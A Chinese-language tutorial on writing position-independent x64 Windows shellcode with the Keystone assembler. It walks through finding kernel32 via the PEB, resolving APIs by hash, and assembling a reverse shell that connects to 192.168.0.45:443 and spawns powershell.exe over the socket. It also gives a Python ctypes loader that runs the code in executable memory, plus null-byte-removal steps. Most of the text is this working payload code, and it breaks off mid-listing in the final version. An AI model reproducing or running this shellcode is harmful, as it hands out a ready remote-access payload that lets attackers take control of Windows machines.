Shellcode 编写
背景
测试方法
使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。
我们首先需要通过 pip 安装 keystone 引擎:
pip3 install keystone-engine
然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。
import ctypes, struct
from keystone import *
CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" add esp, 0xfffff9f0 ;" # Avoid NULL bytes
............
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X64, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
我们在代码部分最开始加入了 int 3 指令,这样当 Shellcode 被执行时,暂停在最开始的地方,方便我们调试编写的 Shellcode。在命令行中运行该 Python 脚本,脚本的运行会被 input 函数暂停。
打开 WinDBG,附加到 python.exe 进程
附加到 python.exe 进程上之后,让程序继续执行,回到脚本被执行的命令行,按下任意键,这样,我们就到了 Shellcode 的入口处。
寻找 KERNEL32
在 TEB 的 0x60 处,访问到 PEB 的指针:
mov rax, gs:[0x60]
在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:
mov rsi,[rax+0x18]
访问该 _PEB_LDR_DATA 结构体,里面有多个成员。下半部分的输出给出了更详细的结构体成员信息,其中重要的是 3 个 双向链表,分别是 InLoadOrderModuleList,InMemoryOrderModuleList,和 InInitializationOrderModuleList。
InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示。因此,即便上半部分的输出只告诉我们了 InMemoryOrderModuleList 成员,也是足够了。
保存 InMemoryOrderModuleList 的地址。
mov rsi,[rsi+0x10]
InMemoryOrderModuleList 是一个 _LIST_ENTRY 类型的结构体,有着 2 个成员 Flink 和 Blink,在双向链表中分别用于访问下一个和上一个条目:
PEB
|
|---> _PEB_LDR_DATA
|
|---> InLoadOrderModuleList (_LIST_ENTRY)
| |
| |---> _LDR_DATA_TABLE_ENTRY (module 1)
| |---> _LDR_DATA_TABLE_ENTRY (module 2)
| |---> ...
|
|---> InMemoryOrderModuleList (_LIST_ENTRY)
| |
| |---> _LDR_DATA_TABLE_ENTRY (module 1)
| |---> _LDR_DATA_TABLE_ENTRY (module 2)
| |---> ...
|
|---> InInitializationOrderModuleList (_LIST_ENTRY)
|
|---> _LDR_DATA_TABLE_ENTRY (module 1)
|---> _LDR_DATA_TABLE_ENTRY (module 2)
|---> ...
定位所需 API
函数哈希脚本如下:
#!/usr/bin/python
import numpy, sys
def ror_str(byte, count):
binb = numpy.base_repr(byte, 2).zfill(32)
while count > 0:
binb = binb[-1] + binb[0:-1]
count -= 1
return (int(binb, 2))
if __name__ == '__main__':
try:
rsi = sys.argv[1]
except IndexError:
print("Usage: %s INPUTSTRING" % sys.argv[0])
sys.exit()
# Initialize variables
rdx = 0x00
ror_count = 0
for rax in rsi:
rdx = rdx + ord(rax)
if ror_count < len(rsi)-1:
rdx = ror_str(rdx, 0xd)
ror_count += 1
print(hex(rdx))
调用 API
WSAStartup
int WSAStartup(
WORD wVersionRequired, # 0x0202 == Version 2.2
[out] LPWSADATA lpWSAData # Pointer to where a WSADATA structure will be populated
);
WSASocketA
SOCKET WSAAPI WSASocketA(
[in] int af, # RCX (AF_INET == 2)
[in] int type, # RDX (SOCK_STREAM == 1)
[in] int protocol, # R8 (IPPROTO_TCP == 6)
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo, # R9 (NULL)
[in] GROUP g, # Stack (NULL)
[in] DWORD dwFlags # Stack (NULL)
);
WSAConnect
int WSAAPI WSAConnect(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS lpSQOS,
[in] LPQOS lpGQOS
);
CreateProcessA
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
STARTINFO 结构体
微软文档中给出的结构信息:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
但在内存中,成员的大小与微软文档中的有所不同:
0:004> dt combase!STARTUPINFOA
+0x000 cb : Uint4B
+0x008 lpReserved : Ptr64 Char
+0x010 lpDesktop : Ptr64 Char
+0x018 lpTitle : Ptr64 Char
+0x020 dwX : Uint4B
+0x024 dwY : Uint4B
+0x028 dwXSize : Uint4B
+0x02c dwYSize : Uint4B
+0x030 dwXCountChars : Uint4B
+0x034 dwYCountChars : Uint4B
+0x038 dwFillAttribute : Uint4B
+0x03c dwFlags : Uint4B
+0x040 wShowWindow : Uint2B
+0x042 cbReserved2 : Uint2B
+0x048 lpReserved2 : Ptr64 UChar
+0x050 hStdInput : Ptr64 Void
+0x058 hStdOutput : Ptr64 Void
+0x060 hStdError : Ptr64 Void
完整的初版 Shellcode 如下:
import ctypes, struct
from keystone import *
CODE = (
" start:"
" call find_kernel32;"
" mov rbp, rax;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" call parse_module;" # Search LoadLibraryA's address
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" call parse_module;" # Search GetProcAddress' address
" mov r13, rax;" # R13 = GetProcAddress Address
" call load_module;" # Load ws2_32.dll
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
" mov r12, 0x0045004E00520045;" # Unicode string "ENRE"
" mov r13, 0x002e00320033004c;" # Unicode string ".23L"
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" check_lower:"
" mov r12, 0x0065006E00720065;" # Unicode string "enre"
" mov r13, 0x002e00320033006c;" # Unicode string ".23l"
" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "enre"
" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23l"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" mov r15d, dword ptr [r9 + rcx + 0x88];" # Fetch RVA of Export Directory
" add r15, r9;" # R14 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" load_module:"
" mov rax, 0x6c6c ;" # Move "ll" into RAX
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" add rsp, 0x10;" # Clean up WS2_32.DLL string
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" mov rcx, 0x202;" # wVersionRequired
" sub rsp, 0x58;"
" call rax;" # Call WSAStartup
" add rsp, 0x58;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x58;"
" mov rcx, 2;" # 2
" mov rdx, 1;" # 1
" mov r8, 6;" # 6
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x58;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" sub rsp, 0x200;" # Reserve space for socketaddr
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" mov rdx, 2;" # AF_INET = 2
" mov [rsp], rdx;" # Store structure socketaddr
" mov rdx, 0xbb01;" # Port 443 01bb
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov rdx, 0x2d00a8c0;" # IP 192.168.0.45
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" mov r8, 0x16;" # namelen = 16 bytes
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x58;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x58;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x6578652e6c6c;" # Push string "exe.ll"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov rdx, 0x100;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov rdx, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub rdx, 0x500;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
去除 0x00 字节
为了能更加直观地对应需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具
以下这些指令得到的机器码包含 0x00 字节
call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov r12, 45004E00520045h
mov r13, 2E00320033004Ch
mov r12, 65006E00720065h
mov r13, 2E00320033006Ch
mov r15d, dword ptr [r9+rcx+88h]
mov rax, 6C6Ch
mov rcx, 202h
mov rcx, 2
mov rdx, 1
mov r8, 6
sub rsp, 200h
mov rdx, 2
mov rdx, 0BB01h
mov rdx, 2D00A8C0h
mov r8, 16h
mov rdx, 6578652E6C6Ch
mov rdx, 100h
mov rdx, 68h
sub rdx, 500h
对于 mov r12, 0x0045004e00520045 指令,我们可以换成:
mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;
这样,就没有 0x00 字节了。
对于 mov rcx, 2 这样数值较小的赋值操作,我们可以赋值负数再使用 neg 指令获得符号相反的数值:
mov rcx, 0xfffffffffffffffe;
neg rcx;
这样,我们也是消除了 0x00。
就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:
import ctypes, struct
from keystone import *
CODE = (
" start:"
" int3;"
" call find_kernel32;"
" mov rbp, rax;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" call parse_module;" # Search LoadLibraryA's address
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" call parse_module;" # Search GetProcAddress' address
" mov r13, rax;" # R13 = GetProcAddress Address
" call load_module;" # Load ws2_32.dll
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
#" mov r12, 0x0045004E00520045;" # Unicode string "ENRE"
" mov r12, 0x1055105E10621055;" # Elimate 0x00 1-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 1-2
" sub r12, rax;" # Elimate 0x00 1-3
#" mov r13, 0x002e00320033004c;" # Unicode string ".23L"
" mov r13, 0x103e10421043105c;" # Elimate 0x00 2-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 2-2
" sub r13, rax;" # Elimate 0x00 2-3
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" check_lower:"
#" mov r12, 0x0065006E00720065;" # Unicode string "enre"
#" mov r12, 0x1075107E10821075;" # Elimate 0x00 3-1
#" mov rax, 0x1010101010101010;" # Elimate 0x00 3-2
#" sub r12, rax;" # Elimate 0x00 3-3
#
#" mov r13, 0x002e00320033006c;" # Unicode string ".23l"
#" mov r13, 0x103e10421043107c;" # Elimate 0x00 4-1
#" mov rax, 0x1010101010101010;" # Elimate 0x00 4-2
#" sub r13, rax;" # Elimate 0x00 4-3
#
#" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
#" cmp rdx, r12;" # Compare the first 4 characters against "enre"
#" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
#" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
#" cmp rdx, r13;" # Compare the next 4 characters ".23l"
#" jne next_module;" # If not equal, move to next module
#" mov rax, r9;" # Save Dll Base in RAX as the return value
#" ret;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
#" mov r15d, dword ptr [r9 + rcx + 0x88];" # Fetch RVA of Export Directory
" xor r15, r15;"
" mov r15b, 0x88;"
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"
" add r15, r9;" # R15 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" load_module:"
#" mov rax, 0x6c6c ;" # Move "ll" into RAX
" xor rax, rax;"
" xor r13, r13;"
" mov ax, 0xffff;" #
" mov r13w, 0x9393;"
" sub rax, r13;"
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" add rsp, 0x10;" # Clean up WS2_32.DLL string
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
#" mov rcx, 0x202;" # wVersionRequired
" xor rcx, rcx;"
" xor r13, r13;"
" mov cx, 0x3333;"
" mov r13w, 0x1111;"
" sub rcx, r13;"
" sub rsp, 0x58;"
" call rax;" # Call WSAStartup
" add rsp, 0x58;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x58;"
#" mov rcx, 2;" # 2
" xor rcx, rcx;"
" inc rcx;"
" inc rcx;"
#" mov rdx, 1;" # 1
" xor rdx, rdx;"
" inc rdx;"
#" mov r8, 6;" # 6
" xor r8, r8;"
" mov r8b, 0xfffa;"
" neg r8b;"
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x58;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
#" sub rsp, 0x200;" # Reserve space for socketaddr
" xor r13, r13;"
" xor r15, r15;"
" mov r13w, 0xffff;"
" mov r15w, 0xfdff;"
" sub r13, r15;"
" sub rsp, r13;"
" mov rcx, r12;" # Move socket to RCX as the 1st argument
#" mov rdx, 2 # AF_INET = 2
" xor rdx, rdx;"
" inc rdx;"
" inc rdx;"
" mov [rsp], rdx;" # Store structure socketaddr
#" mov rdx, 0xbb01;" # Port 443 01bb
" xor rdx, rdx;"
" mov dx, 0xbb01;"
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
#" mov rdx, 0x2d00a8c0;" # IP 192.168.0.45
" mov edx, 0x3d10b8d0;"
" sub edx, 0x10101010;"
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
#" mov r8, 0x16;" # namelen = 16 bytes
" xor r8, r8;"
" mov r8w, 0x2610;"
" sub r8w, 0x1010;"
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x58;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x58;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
#" mov rdx, 0x6578652e6c6c;" # Push string "exe.ll"
" mov rdx, 0x10107588753e7c7c;"
" mov r13, 0x1010101010101010;"
" sub rdx, r13;"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
#" mov rdx, 0x100;"
" mov dx, 0x1110;"
" sub dx, 0x1010;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
#" mov rdx, 0x68;"
" mov dl, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
#" sub rdx, 0x500;"
" sub dl, 0x68;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Length of shellcode: "+str(len(encoding)))
for dec in encoding:
sc += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print(sc)
PIC 代码
import ctypes, struct
from keystone import *
CODE = (
" start:"
" int 3;"
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
" mov r12, 0x1055105E10621055;" # Elimate 0x00 1-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 1-2
" sub r12, rax;" # Elimate 0x00 1-3
" mov r13, 0x103e10421043105c;" # Elimate 0x00 2-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 2-2
" sub r13, rax;" # Elimate 0x00 2-3
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" jmp jump_proxy;"
" check_lower:"
" mov r12, 0x1075107E10821075;" # Elimate 0x00 3-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 3-2
" sub r12, rax;" # Elimate 0x00 3-3
" mov r13, 0x103e10421043107c;" # Elimate 0x00 4-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 4-2
" sub r13, rax;" # Elimate 0x00 4-3
" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "enre"
" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23l"
" jne next_module;" # If not equal, move to next module
" jump_proxy:"
" jmp jump_section;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" xor r15, r15;"
" mov r15b, 0x88;"
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"
" add r15, r9;" # R15 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
